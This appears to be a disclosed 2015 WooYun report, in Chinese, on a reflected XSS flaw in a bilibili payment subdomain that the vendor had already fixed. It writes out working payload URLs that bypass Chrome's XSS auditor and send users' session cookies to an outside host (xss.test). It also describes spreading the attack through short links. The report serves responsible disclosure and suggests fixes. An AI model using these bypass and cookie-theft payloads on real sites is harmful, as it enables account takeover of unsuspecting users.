当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113343

漏洞标题:bilibili某子站存在反射型XSS漏洞可成功获取用户权限(XSS auditor bypass技巧)

相关厂商:bilibili.com

漏洞作者: 端端

提交时间:2015-05-11 11:09

修复时间:2015-05-19 08:28

公开时间:2015-05-19 08:28

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:15

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-11: 细节已通知厂商并且等待厂商处理中
2015-05-15: 厂商已经确认,细节仅向厂商公开
2015-05-19: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

bilibili某子站存在反射型XSS漏洞可成功获取用户权限(XSS auditor bypass技巧)
适用于Windows版的Chrome浏览器
以下测试基于Windows下的Google Chrome 41.0.2272.118 m (64-bit)(因为是自动升级,应该是最新版吧)
p.s. 之前提交的时候,没有构造出可以将用户cookie传出来的URL(浏览器有XSS过滤器)
在之前提交的漏洞(wooyun-2015-0113131)还没有开始审核的时候,又花了些时间最终构造出了可以实际利用的URL(不是只弹个警告框)
所以在此重新提交,虽然已经留言不要通过之前的漏洞了,但如果还是通过了请无视

详细说明:

注意:以下测试基于Windows下的Google Chrome 41.0.2272.118 m (64-bit)
存在漏洞的页面是

https://bp.bilibili.com/account/pays?s_appId=&s_beginCtimeString=2015-05-09&s_endCtimeString=2015-05-09


其中HTTP GET参数s_beginCtimeString与s_endCtimeString存在问题

T1.PNG


直接尝试注入代码的话会触发浏览器的XSS过滤器,浏览器会拒绝执行插入的脚本

t2.PNG


根据
http://www.thespanner.co.uk/2015/02/19/another-xss-auditor-bypass/
中提供的方法将"/"转义为"/"(URLEncode后是%26sol;)
同时感谢ZONE上 @Pany自留地 所发表的文章《XSS auditor bypass》(http://zone.wooyun.org/content/20180)让我了解到这篇文章
构造URL

https://bp.bilibili.com/account/pays?s_appId=&s_beginCtimeString=2015-05-09%22%3E%3Cscript/src=data:,alert(document.cookie);%26sol;%26sol;&s_endCtimeString=2015-05-09


t3.PNG

漏洞证明:

之后尝试将cookie传出这个页面,但是并不顺利。
在尝试调用远程js等等都被浏览器的XSS过滤器检出之后,一度陷入困境。
最后准备将cookie加在跳转请求的HTTP GET参数部分
用location.href跳出
直接尝试

https://bp.bilibili.com/account/pays?s_appId=&s_beginCtimeString=2015-05-09"><script/src=data:,location.href="http:%26sol;%26sol;xss.test%26sol;"+document.cookie;%26sol;%26sol;&s_endCtimeString=2015-05-09


失败
会不会是加号的原因
使用javascript的String对象的concat方法连接字符串

https://bp.bilibili.com/account/pays?s_appId=&s_beginCtimeString=2015-05-09"><script/src=data:,a="http:%26sol;%26sol;xss.test%26sol;",location.href=a.concat(document.cookie);%26sol;%26sol;&s_endCtimeString=2015-05-09


顺利跳转

t4.PNG


那么将地址转向实际的测试地址来看一下

t5.PNG


等等……好像有哪里不太对……
虽然通过错误日志也可以获取到传出的数据但是总归是有点太明显了
果然还是需要加上"?"或者"#"否则作为路径服务器会无法解析的
但是问题来了
试了很多方法都加不进去……就好像只要加入问号或者井号就会被直接检出
怎么办?还记得前面提到的两个插入点吗
"?"的ASCII码是63我们构造以下URL

https://bp.bilibili.com/account/pays?s_appId=&s_beginCtimeString=2015-05-09"><script/src=data:,a="http:%26sol;%26sol;xss.test%26sol;",b=document.cookie,k=63;%26sol;%26sol;&s_endCtimeString=2015-05-09</script><script/src=data:,location.href=a.concat(String.fromCharCode(k)).concat(b);%26sol;%26sol;


在将攻击脚本拆成两部分分别放到两个参数中后,成功绕过

t6.PNG


上面的相当于先后执行

a="http://xss.test/";
b=document.cookie;
k=63;



location.href=a.concat(String.fromCharCode(k)).concat(b);


那么再稍微谈一下实际的利用过程
通过短域名服务将攻击URL变得看上去人畜无害
将生成的短域名提供给受害者
短域名->漏洞URL->攻击者的页面获取cookie并保存->跳转至正常页面

t7.PNG


以下是测试中获取到的cookie(测试事先已经获得当事人同意)

t9.PNG


测试过程中当事人表示并未感觉到异样
另外由于.bilibili.com的cookie中的用于标记会话的参数并未设置为HttpOnly导致js可以读取相应内容,使得攻击者可以以受害者的用户身份登录。

修复方案:

1、过滤、转义
2、给重要的cookie设置HttpOnly

版权声明:转载请注明来源 端端@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-05-15 15:49

厂商回复:

谢谢

最新状态:

2015-05-19:谢谢